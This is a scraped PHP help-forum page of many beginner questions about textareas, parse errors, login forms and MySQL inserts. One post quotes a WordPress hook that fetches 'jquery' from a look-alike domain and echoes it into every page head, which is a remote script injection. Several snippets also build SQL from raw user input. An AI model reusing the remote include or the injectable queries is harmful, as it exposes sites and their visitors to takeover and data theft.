|
PHP - Multiline Textbox - Parse Each Line And Save In Db
Hello all,
I have what I'm sure is a very easy question and I'm a bit embarrassed to be asking this but I cannot seem to think it out. I want to have a multi-line textbox (textarea) that will allow someone to enter data on each line. I then want to break the textarea line by line and save each line to my db. I know how to connect and insert into my db but I'm struggling thinking how to break the textarea by each line and then saving each of those lines as a new insert. Any help would be appreciated, thanks! Similar TutorialsHi. I want a simple textbox, that when submited, will replace very every new line, with the <br> tag. What will happen, when it submits, it will take the contents of a textbox, add the <br> tag where a new line is suposed to be, and save the string to a MySQL Database. I think this is the easiest way of allowing a user to edit what appears on a website when logged in, but if there is a easier way, then please tell me. What I am trying to do, is a login page, and once logged in, you enter new text into the textbox, click submit, and on the website homepage, the main text will change to what was submitted. But if there is a new line, I think the only way in HTML to make one is to put a <br> tag, so I want the PHP to but that tag wherever there is a new line. Sorry if I am confusing, I am not that advanced at PHP, but I would be very happy if you could supply me with the correct code. Time is running out... If you do not understand me, please tell me -- PHPLeader (not) I am trying to put a href on a line to link me to another php module, but get an error: Parse error: parse error in C:\wamp\www\editpolicy.php on line 47 My code: while ($row2 = mysql_fetch_array($result2) ) { print "<tr><td>"; <a href='editpayment.php?payid=$row2[PaymentID]'>$row2[PaymentID]</a> .........THIS IS LINE 47 ??? print "</td><td>"; print $row2['Actioned']; print "</td><td align='right'>"; print $row2['PremiumPaidAmount']; print "</td><td align='right'>"; print $row2['Risk']; print "</td></tr>"; } hello, is there a way to have it so that when somebody enters information into a textbox in a form, it will keep the formatting (if they have 5 lines, it will show as 5, not 1) Code: [Select] $name = $_POST['name']; $resume = $_POST['resume']; $to = "mike@web.com"; $subject = "Resume From Website"; $message = "Name: $name <br /> Resume: $resume "; $from = "resume@web.com"; $headers = "From: $from \r\n Content-Type: text/html; charset=ISO_8859-1\r\n Content-Transfer_Encoding: 7bit\r\n\r\n"; mail($to,$subject,$message,$headers); I am currently writing a code for class where I have to get my php script to run a query through mysql database to retrieve the information that was built in the table I created. I keep getting a parse error on line 44 message; when there is nothing on line 44, when I change the code in the script to run, whatever I do to this I keep getting the same error. "Parse Error on Line 44". I have rebuilt this code over and over and over. I am also trying to use an html form to submit a query that will execute the query to search through the database with the SELECT statement but I cannot see if anything works because I cannot get past the parse error on line 44 message. Please help if you can, I am bummed out here. The tutoring center is down today because of all the snow they got and my Professor still hasn't gotten back in touch with me. This is just the simple code for the form, I haven't modified it into a drop down menu yet to run a query from a selected state because I still don't have the query running right. Code: [Select] <html xmlns="http://www.w3.org/1999/xhtml"> <head></head> <body> Submit a Request for Information <form action = "miller.php" method = "get"> <table align='Left'> <tr> <td>Sort by State:</td> <td><input name='State' /></td> </tr> </table> <input type = 'submit'/> </form> <a href="http://localhost/millerUnit7index.html</a> </body> </html> this is the code for the contact table: Code: [Select] <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head></head> <body> <?php $ContactArray = file("contacts.txt"); sort($ContactArray); echo "<table border='5' width ='300'>"; foreach($ContactArray as $record){ $recordItems = explode (",",$record); echo "<tr>"; echo "<td> $recordItems[0], $recordItems[1]</td>"; echo "<td> $recordItems[6], $recordItems[7] </td>"; echo "</tr>"; }//end foreach echo "</table>"; ?> </body> </html> and this is the code for the query I am trying to execute through mysql, this is the one that is giving me the parsing error Code: [Select] <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head></head> <body> <?php $DBConnect = mysqli_connect("localhost","user1", "password1","miller"); $query = mysqli_query("SELECT lName,fName,number FROM contactform ORDER BY state ASC"); $result = mysqli_query($DBConnect,$query); $row = mysqli_fetch_row($results); echo "<table width='100' border = '5'>\n"; echo "<tr>"; echo "<th> Last Name</th>"; echo "<th> First Name</th>"; echo "<th> Phone Number</th>"; echo "</tr>\n"; while (($row = mysqli_fetch_row($results)) !==FALSE){ echo "<tr>"; echo "<td> $row[0]</td>"; echo "<td> $row[1]</td>"; echo "<td> $row[6], $row[7]</td>"; echo "</tr>\n"; }; echo "</table>\n"; mysqli_close($DBConnect); ?> <a href="http://localhost/millerUnit7/millerQuery.php</a> </body> </html> Code: [Select] This is a clip of my PHP file: <?php $con = mysql_connect($host,$username,$password); if (!$con) { die('Could not connect: ' . mysql_error()); } mysql_select_db($database, $con); $result = mysql_query("SELECT * FROM purchase_order WHERE purchase_order_number=='$purchase_order_number'"); while($row = mysql_fetch_array($result)) { $vendor=$row['vendor']; $purchase_order_date=$row['purchase_order_date']; $ship=$row['ship']; $state=$row['state']; $fob=$row['fob']; $terms=$row['terms']; $buyer=$row['buyer']; $freight=$row['freight']; $req_date=$row['req_date']; $confirming_to=$row['confirming_to']; $remarks=$row['remarks']; $tax=$row['tax'] } // [i][u][b]<-- This is line 88 (The one with the error)[/b][/u][/i] ?>Thanks in advance! I don`t get it, waht is wrong?! Code: [Select] <?php require_once 'auth.php'; if (!isset($_SESSION['SESS_VERIFY'])) { header("location: access-denied.php"); exit(); } if ($_SESSION['lang'] == 'Ro') { // setare data romania date_default_timezone_set('Europe/Bucharest'); $today = getdate(); $zi = $today['mday']; $luna = $today['mon']; $lunastring = $today['month']; $an = $today['year']; $data = $zi.$luna.$an; $data = (string)$data; $ora = date('H:i:s'); $msg = array(); $err = array(); $luni = array ( 1=>'Ianuarie', 2=>'Februarie', 3=>'Martie', 4=>'Aprilie', 5=>'Mai', 6=>'Iunie', 7=>'Iulie', 8=>'August', 9=>'Septembrie', 10=>'Octobrie', 11=>'Noiembrie', 12=>'Decembrie'); // comun const SQL_ERR = 'SQL statement failed with error: '; const ADD_MODEL = 'ADAUGA UN MODEL NOU'; . .many constants.. . } elseif ($_SESSION['lang'] == 'It') {... Thank you!
Hello everyone,
1 <?php
7 // Create connection
10 // Check connection
14 $firstname = $conn->real_escape_string($_REQUEST['firstname']); 25 $sql2 = "INSERT INTO countries VALUES ('$country')"; 27 $sql3 = "INSERT INTO Contacts (firstname, lastname, address, city, country, phone, email) VALUES ('$firstname', '$lastname', '$address', $city, $country, '$phone_number','$email')";
29 SELECT * FROM cities;
if($conn->query($sql2) === true){
if($conn->query($sql3) === true){ SET UP: Windows vista # XAMPP 1.7.3, # Apache 2.2.14 (IPv6 enabled) + OpenSSL 0.9.8l # MySQL 5.1.41 + PBXT engine # PHP 5.3.1 # phpMyAdmin After entering various different information from previous forms on different pages I finally get this error message "Parse error: syntax error, unexpected T_STRING in C:\blablah on line 31" on the following code: <?php //let's start our session, so we have access to stored data session_start(); include 'db.inc.php'; $db = mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD) or die ('Unable to connect. Check your connection parameters.'); mysql_select_db(MYSQL_DB, $db) or die(mysql_error($db)); //let's create the query $query = 'INSERT INTO subscriptions (name, email_address, membership_type, terms_and_conditions, name_on_card, credit_card_number, credit_card_expiration_data) VALUES ( "' . $_SESSION[$name, $db] . '", ' . $_SESSION[$email_address, $db] . '", ' . $_SESSION[$membership_type, $db] . '", ' . $_SESSION[$terms_and_conditions, $db] . '", ' . $_POST[$name_on_card, $db] . '", ' . $_POST[$credit_card_number, $db] . '", ' . $_POST[$credit_card_expiration, $db] . ')'; if (isset($query)) { $result = mysql_query($query, $db) or die(mysql_error($db)); } ?> <p>Done!</p> </body> </html> ?> Any help would be appreciated. I'm practicing this with the ambition to develop a multi-page registration using sessions for a website so even web pages that might help me with this aim would be good. I keep getting an error code when running my php, it states: Parse error: syntax error, unexpected $end in W:\www\blog\login.php on line 33 Line 33 is </html> Code: [Select] <?php mysql_connect ("localhost", "root", ""); mysql_select_db("blog"); ?> <html> <head> <title>Login</title> </head> <body> <?php if(isset($_POST['submit'])){ $name = $_POST['name']; $pass = $_POST['password']; $result = mysql_query("SELECT * FROM users WHERE name='$name' AND pass='$pass'"); $num = mysql_num_rows($result); if($num == 0){ echo "Bad login, go <a href='login.php'>back</a>"; }else{ session_start(); $SESSION ['name'] = $name; header("Location: admin.php"); } ?> <form action='login.php' method='post'> Username: <input type='text' name='name' /><br /> Password: <input type='password' name='password' /><br /> <input type='submit' name='sumbit' value='Login!' /> </form> </body> </html>Can any one advise me whats wrong? Code: [Select] <?php if (!isset($_POST['submit'])) { ?> <h2>Todays Special</h2> <p> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> <select name="day"> <option value="1">Monday/Wednesday <option value="2">Tuesday/Thursday <option value="3">Friday/Sunday <option value="4">Saturday </select> input type="submit" name="submit" value="Go"> </form> <?php // get form selection $day = $_POST['day']; // check value and select appropriate item switch ($day) { case 1: $special = 'Chicken in oyster sauce'; break; case 2: $special = 'French onion soup'; break; case 3: $special = 'Pork chops with mashed potatoes and green salad'; break; default: $special = 'Fish and chips'; break; } ?> This topic has been moved to PHP Applications. http://www.phpfreaks.com/forums/index.php?topic=344105.0
Hi im coding a php form using a tutorial im completely new at php need help what am i doing wrong I have a form a user may submit which has a text area. If the user enters "Today is the first day of the week" it will be stored in the database like that (note the carriage returns etc). If I then get that data from the table and echo it, it will print as 'Today is the first day of the week'. How can I print it so that it will retain the user's input formatting/the formatting shown stored in the table? Dear... I have problem with this code..can you help me ? Thanks Code: [Select] <?phpif (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} Hi guys i have this error, Parse error: syntax error, unexpected end of file in C:\wamp64\www\nigthclub\videos.php on line 103
but i know is probably easy to solve but for some reason i dont see the error. please help me
<?php
session_start();
?>
<?php error_reporting (E_ALL ^ E_NOTICE); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<link href="style.css" rel="stylesheet" type="text/css" />
<link href="tablefiestas.css" rel="stylesheet" type="text/css" />
<title>La Taverna de Juan</title>
</head>
<body>
<div id="container">
<div id="header">
<!--MENU BAR-->
<?php include("includes/db.php"); ?>
</div>
<!--VIDEOS-->
<?php
$query = ("SELECT * from videos");
$result = mysqli_query($connection,$query);
$num_per_page =05;
?>
<table border="1" width="100%">
<tr>
<td>Video Id</td>
<td>Titulo</td>
<td>Video</td>
</tr>
<tr>
<?php
while ($row=mysqli_fetch_assoc($result))
{
$videoid = $row['videoid'];
$titulo = $row['titulo'];
$url_video = $row['url_video'];
?>
<td><?php echo $videoid ?></td>
<td><?php echo $titulo ?></td>
<td><?php echo $url_video ?></td>
</tr>
<?php}?>
</table>
<?php
$query = "SELECT * from videos";
$pr_result = mysqli_query($connection,$query);
$totalrecord = mysqli_num_rows($pr_result);
echo $totalrecord;
?>
<br>
<div id="footer">
<!--FOOTER-->
<?php include("includes/footer.inc.php"); ?>
</div>
</div>
</body>
</html>
Edited November 18, 2019 by Psycho Added code tags hello, if any one can help me solve this error.
case "unsuspend":
$setupd = array("status" => "Active");
$db->update("members", $setupd, "id=" . $mid);
break;
case "activate":
$setupd = array("status" => "Active");
$db->update("members", $setupd, "id=" . $mid);
{
if ($settings['referral_contest'] == 'yes') {
$usr = $db->fetchRow( "SELECT ref1, status FROM members WHERE id=" . $mid );
if (( $usr['status'] == 'Un-verified' && $usr['ref1'] != 0 )) {
$referrer = $usr['ref1'];
if ($referrer != 0) {
$today_var = $settings['referral_reset'];
$chk = $db->fetchOne( "SELECT COUNT(*) AS NUM FROM referral_stats WHERE user_id=" . $referrer );
if ($chk == 0) {
$data = array( 'user_id' => $referrer, 'day' . $today_var => 1 );
$db->insert( 'referral_stats', $data );
}
else {
$db->query( "UPDATE referral_stats SET day" . $today_var . '=day' . $today_var . '+1 WHERE user_id=' . $referrer );
}
}
}
}
break;
case "delete":
$userdata = $db->fetchRow("SELECT username, country, ref1 FROM members WHERE id=" . $mid);
deletemember($mid);
if ($userdata['username'] != "BOT") {
$db->query("UPDATE country SET users=users-1 WHERE name=" . $userdata['country'] . "'");
}
if ($userdata['ref1'] != 0) {
$db->query("UPDATE members SET referrals=referrals-1, myrefs1=myrefs1-1 WHERE id=" . $userdata['ref1']);
}
break;
<?php
class Post{
private $user_obj;
private $con;
public function __construct($con, $user){
$this->con = $con;
$this->user_obj = new User($con,$user);
}
public function submitPost($body,$user_to){
$body = strip_tags($body);////Removing HTML TAGS
$body = mysqli_real_escape_string($this->con,$body);
$check_empty = preg_replace('/\s+/', '', $body);//delte all spaces
if($check_empty != ""){
//Current Date and time
$date_added = date("Y-m-d H:i:s");
//get username
$added_by = $this->user_obj->getUsername();
//if user have not a profile send to the none
if($user_to == $added_by){
$user_to = "none";
}
////insert query
$query = mysqli_query($this->con,"INSERT INTO posts VALUES('','$body','$added_by','$user_to','$date_added','no','no','0')");
$retured_id = mysqli_insert_id($this->con);
//insert notification
//Update post count for user
$num_post = $this->user_obj->getNumPosts();
$num_post++;
$update_query = mysqli_query($this->con,"UPDATE users SET num_post = '$num_post' WHERE username = '$added_by'" );
}
public function loadPostsFriends(){
$str = ""; //string to return
$data = mysqli_query($this->con,"SELECT * FROM posts where deleted = 'no' ORDER by id DESC");
while($row = mysqli_fetch_array($data))
{
$id = $row['id'];
$body = $row['body'];
$added_by = $row['added_by'];
$date_time = $row['date_added'];
/// Creating user post on other user profile
if($row['user_to'] == "none"){
user_to = "";
else {
$user_to_obj = new User($con,$row['user_to']);
$user_to_name = $user_to_obj->getFirstandLastname();
$user_to = "to <a href='" . $row['user_to'] . "'>" .$user_to_name . "</a>";
}
// check if user account was closed
$added_by_obj = new User($this->con,$added_by);
if($added_by_obj ->isClosed()){
continue;
}
$user_details_query = mysqli_query($this->con,"SELECT first_name,last_name,profile_pic FROM users where username = '$added_by'");
$user_row = mysqli_fetch_array($user_details_query);
$first_name = $user_row['first_name'];
$last_name = $user_row['last_name'];
$profile_pic= $user_row['profile_pic'];
///time stamp
$date_time_now = date("Y-m-d H:i:s");
$start_date = new Date_Time($date_time);////Time_of_post
$end_date = new Date_Time($date_time_now);///Current_time
$intervel = $start_date->diff($end_date);
if($intervel->y >< 1 ){
if($intervel ==1 )
$time_message = $intervel->y . " year ago";/// 1 Year Ago
else
$time_message = $intervel->y . " years ago"; //1+ year ago
}
else if($intervel-> m >= 1 ){
if($intervel->d == 0){
$days = " ago";
}
else if($intervel->d == 1){
$days = $intervel->d."day ago";
}
else
{
$days = $intervel->d."day ago";
}
if($intervel->m == 1){
$time_message = $intervel->m." month".$days;
}
else
$time_message = $intervel->m." months".$days;
}
}
else if($intervel->d >= 1){
if($intervel->d == 1){
$days = "Yesterday";
}
else
{
$days = $intervel->d."days ago";
}
}
else if($intervel->h >= 1){
if($intervel->h == 1){
$time_message = $intervel->h." hour ago";
}
else
{
$time_message = $intervel->h." hours ago";
}
}
else if($intervel->i >= 1){
if($intervel->i == 1){
$time_message = $intervel->i." minute ago";
}
else
{
$time_message = $intervel->i." minutes ago";
}
}
else{
if($intervel->s < 30){
$time_message = "Just Now";
}
else
{
$time_message = $intervel->s." seconds ago";
}
}
$str .= "<div class='status_post'>
<div calss='post_profile_pic'>
<img src='$profile_pic' width='50'>
</div>
<div calss='posted_by' style='color#ACACAC;'>
<a href = '$added_by'> $first_name $last_name </a> $user_to ; ; $time_message
</div>
<div id = 'post_body'$body<br></div>
</div>
"
}
echo $str;
}
}
?>
When i run this code this show me the error Parse error: syntax error, unexpected 'public' (T_PUBLIC) in C:\xampp\htdocs\social\Classes\Post.php on line 39 the line 39 is public function loadPostsFriends() I check the code again and again but i cant find the error please help in this error |
|||||||